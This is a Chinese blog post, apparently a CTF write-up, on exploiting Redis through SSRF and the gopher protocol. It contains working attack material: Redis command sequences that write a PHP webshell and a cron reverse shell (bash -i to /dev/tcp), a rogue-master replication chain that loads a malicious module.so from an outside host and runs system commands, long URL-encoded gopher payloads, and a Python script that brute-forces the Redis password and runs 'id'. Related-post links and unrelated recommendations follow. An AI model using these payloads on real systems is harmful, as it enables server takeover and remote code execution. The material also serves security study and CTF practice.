ssrf与gopher与redis
ssrf与gopher与redis
前言
ssrf打redis是老生常谈的问题,众所周知redis可以写文件,那么ssrf使用gopher协议去控制未授权的redis进行webshell的写入和计划任务的反弹。这类文件很多,我也自以为懂了,今天看到一道ctf题目,我才发现自己细节上还是有很多欠缺,也将其一并总结了
工具
gopher协议规则比较复杂,经过一下午查找,找到该工具生成的gopher很准确,且可自定义
https://github.com/firebroo/sec_tools
使用方法
编辑redis-over-gopher/redis.cmd
为redis执行的命令,一句命令一行,比如它给出的例子
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
编辑好后运行redis-over-gopher/redis-over-gopher.py
python redis-over-gopher.py
生成准确无误的gopher(有些工具生成的有问题,下午在这上面耗费了大量时间,为了排查是payload的问题还是工具的问题,本地搭了个redis,ssrf来测试.....)
注意点:当使用下面生成的gopher语句时,请将其再进行一个url编码传到web的参数中才会正常运行
redis写webshell
本地直接起redis-server
再写个ssrf的web,这里我就借用最近安恒出的DASCTF easy_ssrf的源码来说,这道题最后也会写
这里的file协议被禁止了,但是复现写webshell不需要file协议
端口探测这里建议使用dict去探测,有时候http协议探测不到redis
写webshell就很简单了,我的web目录是/Users/mi0/www
flushall
set 1 '<?php phpinfo();?>'
config set dir /Users/mi0/www
config set dbfilename shell.php
save
用工具
在burp中再进行一次url编码
将编码结果传入到web的url参数中,可以看到目录下生成了shell.php
redis写计划任务
写计划任务要在centos下可以实现,如果是ubuntu就不可以了,在写权限维持的那篇总结的时候,发现ubuntu的bash是弹不回来的,使用python或者perl可以弹,但是用redis写会出现各种各样的问题,因此redis如果是ubuntu服务器,那么写计划任务是不可取的
因为手上没有centos的redis环境,这里就云一波使用方法
将下面语句生成gopher即可
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
redis主从复制
主从复制简单的来说,多个redis可以联合在一起,主redis做的行为,从redis也会跟着做
主从复制的漏洞就是我们模拟个主redis,让被攻击的redis作为从redis和我们绑定,之后主redis的配置,从redis也会一样执行,并且会传输配置文件
那么就仅仅是这样和我直接用gopher连到目标redis上去执行命令有啥特别的技巧呢,主从复制可以做到写webshell,写计划任务,写ssh的秘钥,他还可以做到加载模块,调用模块的中的自定义函数
mysql的udf提权是让mysql加载一个so文件,就可以使用自定义的命令执行函数了,如果mysql是root运行,也就达到了提权的效果
redis的加载模块原理和mysql类似,它也是加载一个so文件,这个so文件也可以写系统命令执行的函数,那么此时此刻也能命令执行了
这个so文件可以通过下面的github获取,他还有个生成gopher协议的脚本(不太好用)
https://github.com/xmsec/redis-ssrf
make
一下会生成一个module.so
有些主从复制的github项目有编译好的exp.so
,有时候可能不灵
除了module.so
还需要准备的是模拟主redis的工具
https://github.com/Dliv3/redis-rogue-server
这里他自带了exp.so
,至少我的环境和题目的环境用不了,我也就改了下他的脚本,改成指向性module.so,并把module.so放到该项目下,运行rogue-server.py
时会默认监听6666端口,我这里改成6667了
本地搭了个环境,此时我把我本地的redis-server关了,开了个docker,因为mac没法用 bash /dev/tcp 反弹shell
docker run -itd -p 6379:6379 redis:4
直接用redis-cli
连接自己的未授权redis的docker
使用方法
config set dir /tmp/
config set dbfilename module.so
slaveof mi0.xyz 6667
module load /tmp/module.so
system.exec 'whoami'
quit
利用文章开头的工具生成gopher(下面截图是错误示范,少了个quit,导致请求一直卡住)
本地监听2345端口接收反弹shell,在远程的mi0.xyz 我的vps下开启rogue-server.py
脚本(正式利用中肯定要公网ip的)
再次url编码发送,运行成功,返回redis用户名
当第一次请求没有运行whoami,vps上的rogue-server.py已经被请求运行完毕,他的作用就是给从服务器写个module.so到tmp目录下,我们可以到redis的docker里面tmp路径下看
打印id
再换个脚本
redis认证下的利用
redis如果有密码,是弱口令的话,可以通过python脚本爆破,看回显来确定密码是否正确
如果有口令在最前面,和gopher的格式一样,如下健为AUTH,密码为123456
题目安恒的DASCTF easy_ssrf
碰巧猜到了密码是123456
在寻常的未授权前加上认证的gopher字段
%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0D%0A
最终payload如下
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%25%32%41%32%25%30%64%25%30%61%25%32%34%34%25%30%64%25%30%61%41%55%54%48%25%30%64%25%30%61%25%32%34%36%25%30%64%25%30%61%31%32%33%34%35%36%25%30%44%25%30%41%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%34%25%36%39%25%37%32%25%30%64%25%30%61%25%32%34%25%33%35%25%30%64%25%30%61%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%30%25%30%64%25%30%61%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%32%34%25%33%39%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%37%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%30%64%25%30%61%25%32%34%25%33%37%25%30%64%25%30%61%25%36%64%25%36%39%25%33%30%25%32%65%25%37%38%25%37%39%25%37%61%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%33%36%25%33%36%25%33%36%25%33%36%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%63%25%36%66%25%36%31%25%36%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%34%25%30%64%25%30%61%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%31%25%33%31%25%30%64%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36
获取flag
那么不要猜到,要通过脚本爆破呢,先获取执行id命令的gopher包
vps上挂起rogue-server.py
脚本
本地编写爆破脚本,其中的1.txt是top100的脚本
import requests
from urllib.parse import quote,unquote
url = "http://183.129.189.61:51700/index.php?url="
wordlist = open('1.txt')
for i in wordlist.readlines():
key = i.split('\n')[0]
#print(key)
password = 'gopher://127.0.0.1:6379/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%24{}%0d%0a{}%0D%0A'.format(str(len(key)),key)
poc = '%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%35%0d%0a%2f%74%6d%70%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%6d%6f%64%75%6c%65%2e%73%6f%0d%0a%2a%33%0d%0a%24%37%0d%0a%73%6c%61%76%65%6f%66%0d%0a%24%37%0d%0a%6d%69%30%2e%78%79%7a%0d%0a%24%34%0d%0a%36%36%36%36%0d%0a%2a%33%0d%0a%24%36%0d%0a%6d%6f%64%75%6c%65%0d%0a%24%34%0d%0a%6c%6f%61%64%0d%0a%24%31%34%0d%0a%2f%74%6d%70%2f%6d%6f%64%75%6c%65%2e%73%6f%0d%0a%2a%32%0d%0a%24%31%31%0d%0a%73%79%73%74%65%6d%2e%65%78%65%63%0d%0a%24%32%0d%0a%69%64%0d%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a'
poc2 = quote(password + poc)
#print(poc2)
#print(url + poc2)
r = requests.get(url + poc2)
if 'uid' in r.text:
print("[+]right key:" + i)
print(r.text)
break
else:
print("[-]error key:" + i)
运行获取弱口令,之后的操作就和主从复制一样了
参考文章
https://www.anquanke.com/post/id/181599
https://www.cnblogs.com/xiaozi/p/13089906.html
https://blog.csdn.net/weixin_40422959/article/details/106463823
https://github.com/Dliv3/redis-rogue-server
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
ssrf与gopher与redis的更多相关文章
- SSRF漏洞利用之Redis大神赐予shell
0x00实验环境 1.centos靶机(IP为:192.168.11.205,桥接模式) 2.kali黑客攻击主机(IP为:192.168.172.129,NAT模式) 0x01实验原理 这段 ...
- SSRF打内网redis
0x00 redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统.Redis是一个开源的使用AN ...
- SSRF打认证的redis
redis客户端在向服务端传输数据用到的是RESP协议 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays. Redis服务器回复发送任何有效RESP数据类型作为 ...
- weblogic从ssrf到redis获取shell
一.环境搭建和知识储备 1.1.影响版本 漏洞编号:CVE-2014-4210 weblogic 10.0.2.0 weblogic 10.3.6.0 1.2.Docker搭建环境 1.进入vulhu ...
- SSRF总结
ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求.ssrf漏洞的危害 ...
- SSRF漏洞攻击利用从浅到深
梳理一下ssrf 不详细 简单记录 0x01 SSRF成因和基本利用0x02 内网打未授权redis0x03 关于ssrf打授权的redis0x04 写redis shell和密钥的一点问题0x05 ...
- gopher 协议初探
Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...
- 浅谈SSRF
前言 最近主要是在思考考研的事.还是没想好-- 这几天的话写了一篇简单代审投稿了星盟,看了会SSRF.今天简单写下SSRF. 本文所有思路均来自互联网,并没有新想法.仅仅只是做个记录. 本文可能会有大 ...
- CTFHub-技能树-SSRF
SSRF 目录 SSRF 1.内网访问 2.伪协议读取文件 3.端口扫描 4.POST请求 5.上传文件 6.FastCGI协议 7.Redis 8.URL Bypass 9.数字IP Bypass ...
随机推荐
- CentOS下Mysql的操作
重启Mysql的各种方法 1.通过rpm包安装的MySQL service mysqld restart /etc/inint.d/mysqld start 2.从源码包安装的MySQL // lin ...
- 使用PyQt开发图形界面Python应用专栏目录
☞ ░ 前往老猿Python博文目录 ░ 本专栏为收费专栏的文章目录,对应的免费专栏为<PyQt入门知识目录>,两个专栏都为基于PyQt的Python图形界面开发基础教程,只是收费专栏中的 ...
- Docker-使用数据卷在宿主机和容器间的数据共享
场景一:现在用Docker创建了N个容器,但是这些容器之间需要数据共享,这个时候我们应该怎么办?[参考第四步] 场景二:docker创建了一个容器并进入容器,添加了一些定制功能,此时除了用docker ...
- 半夜删你代码队 Day2冲刺
一.每日站立式会议 1.站立式会议 成员 昨日完成工作 今日计划工作 遇到的困难 陈惠霖 整理任务 了解相关网页设计 任务安排有的不合理,需改进 侯晓龙 学习了解相关知识 尝试写第一个实例子 无 周楚 ...
- 理解java底层通讯协议
引言: 本周自己重新对底层通讯方式进行了学习,在此做一个输出. 分别从客户端发送多个请求的需求角度与服务端接收多个连接发送请求的需求角度,剖析4种基于java自身技术实现的消息方式通讯所带来的影响,解 ...
- sort by背后使用了什么排序算法
用到了快速排序,但不仅仅只用了快速排序,还结合了插入排序和堆排序 搬运自https://blog.csdn.net/qq_35440678/article/details/80147601
- 七、git学习之——使用GitHub、自定义Git、
原文来自 一.使用GitHub 我们一直用GitHub作为免费的远程仓库,如果是个人的开源项目,放到GitHub上是完全没有问题的.其实GitHub还是一个开源协作社区,通过GitHub,既可以让别人 ...
- 【python接口自动化】- 使用json及jsonpath转换和提取数据
前言 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式.它可以让人们很容易的进行阅读和编写,同时也方便了机器进行解析和生成,适用于进行数据交互的场景,比如 ...
- C++ cin.ignore() 的使用
cin.sync()的功能是清空缓冲区,而cin.ignore()虽然也是删除缓冲区中数据的作用,但其对缓冲区中的删除数据控制的较精确. 有时候你只想取缓冲区的一部分,而舍弃另一部分,这是就可以使用c ...
- react中对内容点击复制
在react中一个标签内,点击这个标签直接复制标签内的内容 如图,我的需求是点击id这个标签实现对id的一键复制,所以请看copyHander函数 先创建一个Range对象,Range 对象表示文档的 ...